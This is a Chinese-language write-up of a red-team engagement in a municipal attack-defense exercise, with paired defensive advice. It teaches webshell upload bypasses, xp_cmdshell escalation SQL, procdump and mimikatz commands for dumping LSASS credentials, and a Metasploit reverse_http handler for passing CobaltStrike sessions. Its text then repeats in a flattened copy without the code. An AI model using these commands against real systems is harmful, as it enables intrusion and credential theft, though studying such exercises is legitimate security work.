记首次HW|某地级市攻防演练红队渗透总结
字数 2492 2025-08-29 08:32:30

红队渗透实战教学:从外网打点到内网横向

1. 前言

本文基于某地级市攻防演练红队渗透实战案例,详细讲解红队渗透的全流程技术要点,包括外网打点、权限提升、内网横向、权限维持等关键环节。通过本案例,您将学习到实战中常用的渗透技巧和工具使用方法。

2. 外网打点技术

2.1 未授权访问漏洞利用

漏洞原理
未授权访问漏洞是指攻击者无需认证即可访问系统敏感功能或数据。在本案例中,攻击者发现目标ASP.NET网站存在未授权访问用户管理功能的问题。

利用步骤

  1. 直接访问用户编辑界面(如/user/edit.aspx?uid=1
  2. 查看前端代码发现密码明文(以*显示但前端代码中可见)
  3. 获取管理员账号密码并登录后台

防御措施

  • 对所有敏感功能进行严格的权限验证
  • 使用统一的身份验证中间件
  • 避免在前端代码中暴露敏感信息

2.2 文件上传漏洞利用

漏洞发现
在用户编辑界面的头像上传功能存在文件上传漏洞。

绕过方法

  1. 上传图片马(如.jpg文件包含恶意代码)
  2. Burp抓包修改文件后缀为.asp
  3. 虽然返回500错误,但文件实际上传成功

防御措施

  • 严格限制上传文件类型
  • 对上传文件进行内容检查
  • 存储上传文件时重命名
  • 设置上传目录不可执行

2.3 目录遍历漏洞利用

利用方法

  1. 通过目录遍历找到上传文件的实际路径
  2. 根据上传时间比对确定恶意文件
  3. 使用蚁剑等Webshell管理工具连接

防御措施

  • 禁用目录遍历功能
  • 对文件路径访问进行严格过滤
  • 设置适当的文件系统权限

3. 权限提升技术

3.1 SQL Server xp_cmdshell提权

前提条件

  • 拥有SA权限的数据库账号
  • SQL Server服务未降权运行

提权步骤

-- 启用xp_cmdshell
EXEC sp_configure 'show advanced options', 1
RECONFIGURE;
EXEC sp_configure 'xp_cmdshell', 1;
RECONFIGURE;

-- 执行系统命令
EXEC master.dbo.xp_cmdshell 'whoami'

注意事项

  • SQL Server 2005的xp_cmdshell权限一般是system
  • SQL Server 2008多数为nt authority\network service

3.2 Procdump+mimikatz抓取密码

适用环境
Windows Server 2008及以下版本可获取明文密码

操作步骤

  1. 使用Procdump导出lsass.exe进程内存:
    procdump.exe -accepteula -ma lsass.exe lsass.dmp
    
  2. 本地使用mimikatz解析dmp文件:
    mimikatz.exe "sekurlsa::minidump lsass.dmp" "sekurlsa::logonPasswords full" exit
    

防御措施

  • 启用Credential Guard
  • 限制对lsass.exe的访问
  • 使用Windows Defender ATP等高级防护方案

4. 内网横向技术

4.1 内网信息收集

常用命令

systeminfo          # 系统信息
netstat -ano        # 网络连接
tasklist /svc       # 进程列表
net user            # 本地用户
net localgroup      # 本地组
net view /domain    # 域信息

云环境特点

  • 云服务器通常有内网环境
  • 内网主机可能不共享外网IP
  • 出站端口可能受限

4.2 内网Web渗透

方法

  1. 搭建代理通道(如reGeorg)
  2. 本地挂代理访问内网Web应用
  3. 寻找新的攻击面(如弱口令、未授权访问)

常见问题

  • 内网主机可能仅开放80、443等Web端口
  • 传统横向方式(如135、445端口)可能不可用

5. 高级技巧与问题解决

5.1 CobaltStrike内存加载.NET程序集

优势

  • 无需向硬盘写入文件
  • 可绕过部分杀软检测

使用方法
在CobaltStrike中使用execute-assembly命令:

execute-assembly /path/to/tool.exe

5.2 木马执行缺少DLL问题

解决方案

  • 生成Release版本时,运行库选择MT
  • 生成Debug版本时,运行库选择MTD

原理
MT/MTD是静态链接,会将所需DLL打包进EXE;MD/MDD是动态链接,依赖系统DLL。

5.3 CobaltStrike与Metasploit会话传递

CobaltStrike → Metasploit

  1. 在Metasploit中设置监听:
    use exploit/multi/handler
    set payload windows/meterpreter/reverse_http
    set LHOST your_ip
    set LPORT 8080
    exploit
    
  2. 在CobaltStrike中创建Foreign HTTP监听器
  3. 使用spawn命令生成Metasploit会话

6. 疑难问题解析

6.1 本地SQL Server连接问题

现象

  • osql/sqlcmd连接失败
  • 蚁剑/冰蝎可连接但提权失败
  • 大马提权成功但权限受限

可能原因

  • 连接字符串格式问题
  • 权限限制(降权运行)
  • 工具兼容性问题

6.2 云服务器内网环境

特点

  • 云服务器通常有内网IP
  • 内网主机可能属于不同业务系统
  • 网络架构可能涉及VPC、子网等概念

安全建议

  • 云内网同样需要安全防护
  • 实施网络分段和最小权限原则
  • 监控异常内网流量

7. 红队渗透流程总结

  1. 信息收集:资产发现、指纹识别、漏洞扫描
  2. 外网打点:寻找薄弱入口(Web漏洞、弱口令等)
  3. 权限提升:从普通用户到系统权限
  4. 权限维持:部署后门、创建隐藏账户
  5. 内网横向:信息收集、凭证窃取、Pass the Hash
  6. 目标达成:获取核心数据/系统控制权
  7. 痕迹清理:清除日志、隐藏活动痕迹

8. 防御建议

  1. 加强外网防护

    • 定期漏洞扫描与修复
    • Web应用防火墙
    • 多因素认证
  2. 内网安全措施

    • 网络分段与隔离
    • 最小权限原则
    • 监控异常行为
  3. 权限管理

    • 定期更换高权限账户密码
    • 禁用不必要的系统功能
    • 限制远程管理工具使用
  4. 日志与监控

    • 集中日志管理
    • 实时告警机制
    • 定期安全审计

9. 工具清单

工具名称 用途
Burp Suite Web漏洞扫描与利用
AntSword Webshell管理
CobaltStrike 远控与后渗透
Metasploit 漏洞利用框架
Procdump 内存转储
Mimikatz 凭证窃取
Navicat 数据库管理
reGeorg 内网代理

10. 学习资源

  1. 靶场环境

    • 红日安全ATT&CK系列靶场
    • 暗月靶场
    • Vulnhub
    • HackTheBox
  2. 技术文章

    • Teamssix红队系列文章
    • 3gstudent技术博客
    • 先知社区技术文章
  3. 持续学习

    • 参与CTF比赛
    • 漏洞研究与实践
    • 关注最新安全动态

通过系统学习和实践这些技术,您将能够逐步掌握红队渗透的核心技能,提升在攻防演练中的表现。

红队渗透实战教学:从外网打点到内网横向 1. 前言 本文基于某地级市攻防演练红队渗透实战案例,详细讲解红队渗透的全流程技术要点,包括外网打点、权限提升、内网横向、权限维持等关键环节。通过本案例,您将学习到实战中常用的渗透技巧和工具使用方法。 2. 外网打点技术 2.1 未授权访问漏洞利用 漏洞原理 : 未授权访问漏洞是指攻击者无需认证即可访问系统敏感功能或数据。在本案例中,攻击者发现目标ASP.NET网站存在未授权访问用户管理功能的问题。 利用步骤 : 直接访问用户编辑界面(如 /user/edit.aspx?uid=1 ) 查看前端代码发现密码明文(以 * 显示但前端代码中可见) 获取管理员账号密码并登录后台 防御措施 : 对所有敏感功能进行严格的权限验证 使用统一的身份验证中间件 避免在前端代码中暴露敏感信息 2.2 文件上传漏洞利用 漏洞发现 : 在用户编辑界面的头像上传功能存在文件上传漏洞。 绕过方法 : 上传图片马(如 .jpg 文件包含恶意代码) Burp抓包修改文件后缀为 .asp 虽然返回500错误,但文件实际上传成功 防御措施 : 严格限制上传文件类型 对上传文件进行内容检查 存储上传文件时重命名 设置上传目录不可执行 2.3 目录遍历漏洞利用 利用方法 : 通过目录遍历找到上传文件的实际路径 根据上传时间比对确定恶意文件 使用蚁剑等Webshell管理工具连接 防御措施 : 禁用目录遍历功能 对文件路径访问进行严格过滤 设置适当的文件系统权限 3. 权限提升技术 3.1 SQL Server xp_ cmdshell提权 前提条件 : 拥有SA权限的数据库账号 SQL Server服务未降权运行 提权步骤 : 注意事项 : SQL Server 2005的xp_ cmdshell权限一般是system SQL Server 2008多数为nt authority\network service 3.2 Procdump+mimikatz抓取密码 适用环境 : Windows Server 2008及以下版本可获取明文密码 操作步骤 : 使用Procdump导出lsass.exe进程内存: 本地使用mimikatz解析dmp文件: 防御措施 : 启用Credential Guard 限制对lsass.exe的访问 使用Windows Defender ATP等高级防护方案 4. 内网横向技术 4.1 内网信息收集 常用命令 : 云环境特点 : 云服务器通常有内网环境 内网主机可能不共享外网IP 出站端口可能受限 4.2 内网Web渗透 方法 : 搭建代理通道(如reGeorg) 本地挂代理访问内网Web应用 寻找新的攻击面(如弱口令、未授权访问) 常见问题 : 内网主机可能仅开放80、443等Web端口 传统横向方式(如135、445端口)可能不可用 5. 高级技巧与问题解决 5.1 CobaltStrike内存加载.NET程序集 优势 : 无需向硬盘写入文件 可绕过部分杀软检测 使用方法 : 在CobaltStrike中使用 execute-assembly 命令: 5.2 木马执行缺少DLL问题 解决方案 : 生成Release版本时,运行库选择MT 生成Debug版本时,运行库选择MTD 原理 : MT/MTD是静态链接,会将所需DLL打包进EXE;MD/MDD是动态链接,依赖系统DLL。 5.3 CobaltStrike与Metasploit会话传递 CobaltStrike → Metasploit : 在Metasploit中设置监听: 在CobaltStrike中创建Foreign HTTP监听器 使用 spawn 命令生成Metasploit会话 6. 疑难问题解析 6.1 本地SQL Server连接问题 现象 : osql/sqlcmd连接失败 蚁剑/冰蝎可连接但提权失败 大马提权成功但权限受限 可能原因 : 连接字符串格式问题 权限限制(降权运行) 工具兼容性问题 6.2 云服务器内网环境 特点 : 云服务器通常有内网IP 内网主机可能属于不同业务系统 网络架构可能涉及VPC、子网等概念 安全建议 : 云内网同样需要安全防护 实施网络分段和最小权限原则 监控异常内网流量 7. 红队渗透流程总结 信息收集 :资产发现、指纹识别、漏洞扫描 外网打点 :寻找薄弱入口(Web漏洞、弱口令等) 权限提升 :从普通用户到系统权限 权限维持 :部署后门、创建隐藏账户 内网横向 :信息收集、凭证窃取、Pass the Hash 目标达成 :获取核心数据/系统控制权 痕迹清理 :清除日志、隐藏活动痕迹 8. 防御建议 加强外网防护 : 定期漏洞扫描与修复 Web应用防火墙 多因素认证 内网安全措施 : 网络分段与隔离 最小权限原则 监控异常行为 权限管理 : 定期更换高权限账户密码 禁用不必要的系统功能 限制远程管理工具使用 日志与监控 : 集中日志管理 实时告警机制 定期安全审计 9. 工具清单 | 工具名称 | 用途 | |---------|------| | Burp Suite | Web漏洞扫描与利用 | | AntSword | Webshell管理 | | CobaltStrike | 远控与后渗透 | | Metasploit | 漏洞利用框架 | | Procdump | 内存转储 | | Mimikatz | 凭证窃取 | | Navicat | 数据库管理 | | reGeorg | 内网代理 | 10. 学习资源 靶场环境 : 红日安全ATT&CK系列靶场 暗月靶场 Vulnhub HackTheBox 技术文章 : Teamssix红队系列文章 3gstudent技术博客 先知社区技术文章 持续学习 : 参与CTF比赛 漏洞研究与实践 关注最新安全动态 通过系统学习和实践这些技术,您将能够逐步掌握红队渗透的核心技能,提升在攻防演练中的表现。